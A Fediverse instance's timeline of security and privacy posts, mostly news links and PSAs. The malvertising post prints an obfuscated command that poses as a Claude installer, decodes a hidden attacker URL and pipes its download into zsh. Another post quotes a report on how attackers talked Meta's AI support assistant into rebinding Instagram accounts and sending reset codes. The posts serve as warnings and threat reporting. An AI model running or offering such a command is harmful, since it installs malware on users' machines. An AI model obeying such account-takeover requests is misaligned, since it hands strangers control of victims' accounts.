soc.octade.net is a Fediverse instance that uses the ActivityPub protocol. In other words, users at this host can communicate with people that use software like Mastodon, Pleroma, Friendica, etc. all around the world.
This server runs the snac software and there is no automatic sign-up process.
New, by me: A number of high-profile and/or valuable Instagram accounts, including those of the Obama White House and the Chief Master Sergeant for the U.S. Space Force, got hacked and defaced with pro-Iran messaging in the past 24h after people figured out that Meta's AI support assistant could be tricked into resetting account passwords.
From the story:
"A video released on Telegram by pro-Iran hackers claimed to document a remarkably simple exploit that appears to have involved using a VPN connection with an IP address that is in or near the target's usual hometown, requesting a password reset for the account, and then choosing to chat with Meta's AI support assistant. From there, the video shows the attacker told the bot to link the account in question to a new email address, after which the bot dutifully sent that address a one-time code that allowed a password reset."
https://krebsonsecurity.com/2026/06/hackers-used-metas-ai-support-bot-to-seize-instagram-accounts/
🚨 Upgrade or be hacked. 🚨
There is a "hacker" group (script kiddies) targeting Mastodon sites that are not yet running Mastodon 4.5.10.
Version 4.5.10 fixes several security vulnerabilities that are relatively easy to exploit and were discovered in earlier versions of Mastodon.
If you're not running 4.5.10 (or newer), you are at risk. ⚠️
If you're using a nightly build of Mastodon, make sure you're running one that was released after the release date of 4.5.10. And yes, I said release date, not version number — earlier 4.6 nightly builds do not include the security patch. ⚠️
If you're delaying the update because you're running a modified version of Mastodon, consider whether maintaining those modifications is worth the security risk. ⚠️
#Mastodon #Security #CyberSecurity #MastoAdmin #FediAdmin #OnlineSafety
It's always important to have a consistent #security policy.
For example, a policy of "If somebody filed a CVE, it's an important security issue, and we will fix it as such, no matter how meaningless the fix is. If nobody did, it's just a glorified bug fix, no matter how serious the bug was."
So we've just seen a #pip security release over "installing random packages can overwrite pip's files and pip can lazy-import some of them immediately afterwards", with a fix of "pip will no longer load them until you run it again" (leaving the underlying security issue of "any #Python package can override files installed by any other Python package" as intended behavior). As Eli Schwartz beautifully put it, you are not expected to be using the virtual environment; you should create it, install packages into it (at most once!), and then frame it and put it on the wall to admire.
Now we're seeing a "bug fix" for "malicious entry point names can write outside of virtual environment". If nobody filed a CVE, it's obviously not a security issue at all. At least upstream graced us with fixing it without correcting the spec to forbid that first.
After careful evaluation I decided #Tuta is superior to #Proton for #email #security and #privacy. But they're blocking free signups over #Tor and #VPN, and for paid accounts they require payment via #PayPal or #CreditCard. That makes them essentially useless from a privacy standpoint, because there's no way to create an account that's not tied to your physical identity. What gives, @Tutanota?
🎉 Happy Web Designer Day!
Today we celebrate designers, developers and all content authors who build a web that works for everyone based on @w3c's principles of #accessibility, #internationalization, #privacy and #security.
#WebDesignerDay #W3C #WebStandards #AboutW3C
Age Verification: Yoti Gets Wrapped Up in Massive Privacy Scandal
A recent report suggests that age verification company, Yoti, is harvesting far more information than necessary and sharing it with invisible fourth parties.
https://www.freezenet.ca/age-verification-yoti-gets-wrapped-up-in-massive-privacy-scandal/
#News #Privacy #Security #AgeVerification #IEEE #PersonalInformation #telemetry #Yoti
Cal Matters: The form asked my permission to share my health data. Then it wouldn’t let me say no.. “To experience what patients have to do to opt-out of having their data shared, I went to doctor’s appointments in seven states. One clinic showed me how easily dark patterns force patients to share their data with big healthcare networks, even when the privacy form they’re signing […]
https://rbfirehose.com/2026/05/31/cal-matters-the-form-asked-my-permission-to-share-my-health-data-then-it-wouldnt-let-me-say-no/And just like that we reached the end of May.
And so it is the last day to submit for #SeaGL2026 #cfp.
This is your chance to get it done: https://pretalx.seagl.org/2026/cfp
#linux #opensource #FLOSS #FOSS #opensource #ophw #security #privacy #ai #edu #protocols #art #community
"US Law Enforcement Warns of ‘Anti-Tech Extremism’ as AI Hatred Grows"
"GitHub faces a fight for its survival at Microsoft"
"Concerns Mount That EU Will Demand Age Verification for VPNs"
"Cities Are Covering Flock Cameras With Trash Bags"
"A new way to fund internet freedom"
Check out the latest monthly news roundup for the full list of headlines.
https://theprivacycloud.substack.com/p/may-2026-privacy-news-roundup
NHK World Japan: Japan creates intelligence bureau amid privacy concerns. “Japan enacted a law on Wednesday to create a national intelligence bureau, a bid to strengthen its intelligence-gathering capabilities. But the move has sparked growing concerns about privacy, meaning the government will have to tread a fine line between gaining information and intrusion.”
https://rbfirehose.com/2026/05/31/nhk-world-japan-japan-creates-intelligence-bureau-amid-privacy-concerns/Correlation vs Causation - how Palentir and the British government are pulling the wool over peoples eye and as an afterthought damaging, security, privacy and reliance for Britain (well I should say England and Wales in the main - at the moment)
#Palentir #AI #Security #Privacy #Resilience #UkPol #DigitalSovereignty
The top result for "claude code" on Google right now is malvertising. We are so cooked.
anvil-89[.]com
sites[.]google[.]com/newappclaude.com/clau-ver-un-30
```
echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9hbnZpbC04OS5jb20vY3VybC8zYTNlYzQxZTQ3NGJlODFjZWMzYTk5OTE5NmJmYThiZTY5YTI5MTliNWZkYWY3ZTA1ZGEzZjU3Y2U2YjRhYTMx" | openssl base64 -d -A) | zsh
```
#Cybersecurity #Security #Malvertising #Malware #Google #AdTech #Advertising #ThreatIntelligence #ThreatIntel
Went into cryptography rabbit hole last night & now have set up email clients to sign outgoing messages 😄
Published public key: https://ayo.ayco.io/pgp#1
Peek into @yaelwrites 's actual device hygiene, communication stack, and physical safety boundaries:
»This isn't a guide. Your situation is different from mine. But sometimes it's useful to see what someone else's setup looks like in practice.«
https://blog.yaelwrites.com/what-my-privacy-and-security-stack-actually-looks-like/
Anyone else on #iPhone #iOS 26.5 (latest)?
I found a privacy bug.
When the phone is locked, I am able to open the camera as usual to take photos, and I found I can also can view and manipulate the camera roll. It was not possible to do this on past versions of iOS.
This feels like a major privacy and safety issue. Anyone with physical access to a phone can view and delete someone's pictures. Abusers, government, anyone.
I've reported it, but I'd appreciate boosts to help spread the word. And confirmation, of course, if you see the same thing.
Editing to clarify: this seems like a sneaky unlock rather than open access to the camera. However, the behavior has changed from what I used to get in past versions of iOS.
Edit #2: there is a way to require the Photos app (your camera roll) to require Face ID so you don't see this behavior. I believe this should be the default.
#AgeVerification is a #Privacy Nightmare
In the rush to block young people from certain parts of the internet, lawmakers are creating a privacy and #security nightmare for everyone. This scenario is already playing out globally. Help us stop it and keep the web open and accessible for all.
https://www.eff.org/deeplinks/2026/05/age-verification-privacy-nightmare
One Step Forward, Two Steps Back: CA's #AB1856 Exempts #OpenSource But Expands Age-Gating
After public outrage, #California lawmakers are moving closer to exempting open source operating systems from the sweeping age-bracketing regime mandated by last year’s #DigitalAgeAssuranceAct (#AB1043 ). Nonetheless, the current bill still jeopardizes internet users’ speech, #privacy , and #security.
#ageverification
🪪🤳🏿📹📸📷🎦🎥💁♀️*Why I use wireless security cameras at home versus a wired system - after years of testing👉
#wireless #security #cameras #at #home #versus #a #wired #system
Why I use wireless security cameras at home versus a wired system - after years of testing | ZDNET
https://www.zdnet.com/home-and-office/smart-home/why-i-use-wireless-security-cameras-at-home-versus-wired/
A #VPN is essential in 2026 to protect against invasive data profiling, bypass heavy-handed geo-restrictions, and secure your digital footprint as AI-driven surveillance and online tracking become more aggressive.
Advanced Privacy & Tracking Protection: Aggressive AI-powered analytics and data brokers track your online habits across platforms. A VPN masks your IP address and encrypts your traffic to reduce your digital footprint.
AI Platform Access: Many modern AI tools, search engines, and emerging tech platforms restrict access or alter features based on geographical location. VPNs allow seamless access to global AI services.
Public Wi-Fi Security: Unsecured networks in cafes, hotels, and airports are prime targets for hackers. A VPN encrypts your data so sensitive information (like passwords and banking details) remains secure.
Bypassing Government Restrictions: Digital regulations, content filtering, and identity verification requirements continue to rise globally. VPNs help bypass censorship and access the unfiltered internet
Avoiding ISP Throttling: Internet Service Providers (ISPs) often throttle bandwidth when they detect data-intensive activities such as streaming or large downloads. A VPN hides your activity, ensuring consistent, unthrottled speeds.
Read more https://windows101tricks.com/6-reasons-to-start-using-vpn/
Reuters: Exclusive: US military personnel are being targeted using location data, Pentagon letter shows. “U.S. forces deployed to war zones have been targeted using commercially available location data, according to reports fielded by military officials, an illustration of how the global surveillance economy is shaping the battlefield.”
https://rbfirehose.com/2026/05/29/exclusive-us-military-personnel-are-being-targeted-using-location-data-pentagon-letter-shows-reuters/Online age-verification laws are forcing users to hand sensitive identity data to third parties, creating new risks for leaks, tracking, and misuse 🔐
Expanding age-gating systems also increases censorship and surveillance powers, threatening anonymous and open access to the web 🌐
🔗 https://www.eff.org/deeplinks/2026/05/age-verification-privacy-nightmare
#TechNews #AgeVerification #Privacy #DigitalRights #OpenWeb #Surveillance #Internet #Freedom #Cybersecurity #DataProtection #Encryption #FOSS #Security #OnlinePrivacy #Web #Tech
FBI procurement records show the agency wants nationwide access to automated license plate reader networks from vendors like Flock and Motorola. 🚔
Expanded ALPR access could enable broad vehicle tracking without warrants, as public opposition to mass surveillance systems grows across the U.S. 📷
🔗 https://www.404media.co/the-fbi-wants-to-buy-nationwide-access-to-license-plate-readers/
#TechNews #FBI #ALPR #Flock #Motorola #Surveillance #Privacy #CivilLiberties #Tracking #Security #Transparency #FOSS #Data #Rights #Technology #MassSurveillance #US #USA #Trump
Surveillance tech coming to a virtual couch near you!
Headway Therapy Patients Forced to Scan Their Faces to Keep Getting Care
https://www.404media.co/headway-therapy-facial-scan-biometric-data-identity-verification/
#Headway #Therapy #Security #Privacy #Surveillance #Health #Tech
This is intended to introduce a unique approach in client-side managed secure cryptography. We can avoid registration of any sort.
Features:
PWA
P2P
End to end encryption
Signal protocol
Post-Quantum cryptography
Multimedia
File transfer
Video calls
Local-first
No registration
No installation
No database
TURN server
https://www.reddit.com/r/positive_intentions
#Privacy #OpenSource #P2P #WebRTC #Decentralization #DigitalSovereignty #CyberSecurity #FOSS #SelfHosted #NoCloud #AntiCorp #Encryption #WebDev #TechLiberty #PrivateMessaging #Networking #DataPrivacy #InternetFreedom #LocalFirst #SoftwareEngineering #WebApps #ZeroKnowledge #PrivacyTech #IndieDev #NoSignup #NoInstall #DecentralizedWeb #SecureMessaging #BrowserApp #TechEthics #P2P #WebRTC #PeerJS #ZeroData #EphemeralData #Encryption #E2EE #BrowserToBrowser #NoInstall #Privacy #Security #Decentralized #Messaging #VideoCall #NoTracking #PrivateMessaging #Prototype #Demo #WorkInProgress #CloseSource #OpenSource #WebDev #GitHub #TechDevelopment #WhatsApp #ChatApp #InstantMessaging #PWA
Employee monitoring solutions must navigate complex legal frameworks, including the Electronic Communications Privacy Act (ECPA), GDPR, and state-level privacy laws, which can result in substantial fines for non-compliance.
Where would byes, breach of trust? how companies like ibm and fa... break first in your environment?
CyberSecurity #Privacy #InfoSec #Security
🎥 Watch Teaser: https://steelefortress.com/98v2h9
Privacy isn’t dead – it’s just that tech companies have made it inconvenient https://theconversation.com/privacy-isnt-dead-its-just-that-tech-companies-have-made-it-inconvenient-278278 #technology #security #privacy #science #STEM
PSA: Microsoft recently began enforcing automatic updates for all Microsoft Store apps. This applies even if an update changes the app's license / ToS, grants additional permissions, or converts to a subscription model. This is an incredible risk to your privacy, security, and wallet (if you have a payment method on file with MS). I strongly, strongly recommend disabling updates through any available method. Workarounds include blocking windows store in the firewall, uninstalling the store itself, tampering with windows files to revoke permissions from the store, or editing group policy settings (on supported OS editions only).
I was wondering if anyone had released any turn-key OS for a #PiZero or similar that detects devices like AXON cop tazers, wifi retail surveillance cameras, smart glasses etc...
So I asked #AI because it has indexed things like Github and should know this.
It didn't find anything, but immediately told me how to make it, and it was correct. I just wanted a shortcut.
I keep telling people, AI can be used against #bigtech
A lot of folks intend to get around to digital security one day. But without accountability and support, it can slide to the bottom of the to-do list. Why not host a Security Party and have all your friends gather to update their digital security together? Check out this guide on how to host a Security Party: https://activistchecklist.org/party/ #privacy #security #party
College Student hacks Taiwan High-Speed Rail Line with Software defined Radios, stopping four Trains.
[19 years without crypto key rotation ends in predictable result as hacker sails through 7 layers of protection.]
Techies and trains have always had a fairly close relationship, but some people seem to take that relationship to toxic levels. About a month ago, a 23-year-old Taiwanese student "hacked" the country's high-speed rail line using an SDR [Software-Defined Radio] filter and radios, remotely broadcasting a General Alarm sign and triggering a manual emergency braking procedure.
⁉️The event brought four trains to a standstill for 48 minutes until the situation was verified as a false alarm, with reportedly no hard stops executed. Lin, the mind behind the operation, sailed through "seven verification layers" thanks to the fact that the TETRA [Terrestrial Trunked Radio] system in use hadn't had its cryptographic keys rotated in 19 years.⁉️
https://www.taipeitimes.com/News/taiwan/archives/2026/05/05/2003856781
Colorado exempted open-source operating systems from 2028 OS-level age-verification rules, shielding Linux installs from mandatory checks. 🔓
California may add similar language before rollout, while Linux OEMs warn account-age mandates could pressure smaller vendors and user privacy. 🐧
🔗 https://fossforce.com/2026/05/the-quiet-clause-that-may-save-linux-from-age-verification-laws/
#TechNews #Linux #OpenSource #Privacy #AgeVerification #System76 #FOSS #GNU #Security #Surveillance #DigitalRights #Cybersecurity #DataPrivacy #Tech #Colorado #California #USA #Freedom
Again, currently testing @Tutanota Drive that is in closed beta. As if I needed another reason to love it, there it is, right on the Drive web page, for everyone to see:
"Because your files, pictures and data deserve privacy.
No ads, no AI, no third party access."
In case you missed it, all of these malicious VS Code extensions use techniques that were responsibly disclosed to Microsoft, to which the response was:
"After careful investigation, this case has been assessed as low severity and does not meet MSRC’s bar for immediate servicing"
"Therefore, it is the user’s responsibility to ensure that they are not installing malicious extensions."
Five months later, Microsoft's own GitHub was compromised.
https://mazinahmed.net/blog/publishing-malicious-vscode-extensions/
#security #vscode #openvsx
Discord now enables default end-to-end encryption for voice and video across DMs, group calls, channels and Go Live streams using the open-source DAVE protocol. 🔐
Externally audited encryption keeps keys on user devices, while unsupported clients are blocked and text messages remain server-accessible. 🛡️
🔗 https://cybersecuritynews.com/discord-end-to-end-encryption-default/
#TechNews #Discord #E2EE #Encryption #DAVE #OpenSource #Privacy #Cybersecurity #WebRTC #FOSS #Security #Linux #Gaming #Mozilla #GitHub #Audit #Games #Game
Mozilla’s Project Nova redesign for Firefox adds rounded tabs, customizable layouts and a reorganized Settings page with easier access to privacy and AI controls. 🦊
Firefox 151 also adds Web Serial API support, PDF merging and clearer management for optional local AI models that are not installed by default. 🔒
🔗 https://www.theverge.com/tech/935631/firefox-project-nova-redesign
#TechNews #Firefox #Mozilla #Nova #Privacy #AI #OpenSource #WebSerial #Browser #Browsers #Linux #FOSS #Security #Customization #Web #Tech #PDF
#GeoPol #Security #CryptoCurrencies
For *all* countries, #Crypto is a threat to #NationalSecurity.
For most countries, #FossilFuels like #Oil 🛢️ and #Gas constitute a threat to national security *as well as* the global economy!
Cc @timkmak
e.g. #Hamas:
https://www.congress.gov/crs_external_products/IF/PDF/IF12537/IF12537.1.pdf
WhatsApp is testing “After reading” disappearing messages on iOS, letting users delete chats 5 minutes, 1 hour or 2 hours after they are opened. 📱
Unread messages auto-delete after 24 hours, but screenshots and external captures can still bypass retention limits despite added privacy controls. 🔒
#TechNews #WhatsApp #Apple #iPhone #iOS #Android #Privacy #Encryption #Signal #Telegram #Cybersecurity #Messaging #Security #FOSS #Mobile #Meta #Tech #Instagram
We've got a crisis on our hands: 73% of SMBs collecting biometric data are operating under at least one dedicated biometric privacy regulation, with Illinois BIPA being the most litigated framework, resulting in over 2,000 lawsuits filed since its enactment.
Where would harness biometric data now to avoid the coming regul... break first in your environment?
CyberSecurity #Privacy #InfoSec #Security
🎥 Watch Teaser: https://steelefortress.com/3sok8e
Signal says it will leave Canada rather than comply with Bill C-22, warning the proposal could force changes that weaken encrypted systems 🔐
Critics including Apple, Meta, and researchers say the bill’s lawful-access rules risk enabling surveillance capabilities and metadata retention 🇨🇦
🔗 https://cyberinsider.com/signal-threatens-to-leave-canada-over-proposed-lawful-access-bill/
#TechNews #Signal #Canada #Encryption #Privacy #Cybersecurity #Meta #Apple #Surveillance #FOSS #Security #Messaging #DataProtection #Tech #Rights #BillC22 #US #Europe #EU
Tom’s Hardware: Angry tiny Texas town council member proposes total ban on cellular and GPS devices in protest over AI dispute — says ‘Let’s take Bandera back to 1880’ after town votes to dump AI-powered license plate reader. “Bandera, Texas, a small town of around 900 residents located about 40 miles northeast of San Antonio, Texas, opted to cancel its Flock AI contract. Three of the […]
https://rbfirehose.com/2026/05/23/toms-hardware-angry-tiny-texas-town-council-member-proposes-total-ban-on-cellular-and-gps-devices-in-protest-over-ai-dispute-says-lets-take-bandera-back-to-1880-after-town-vo/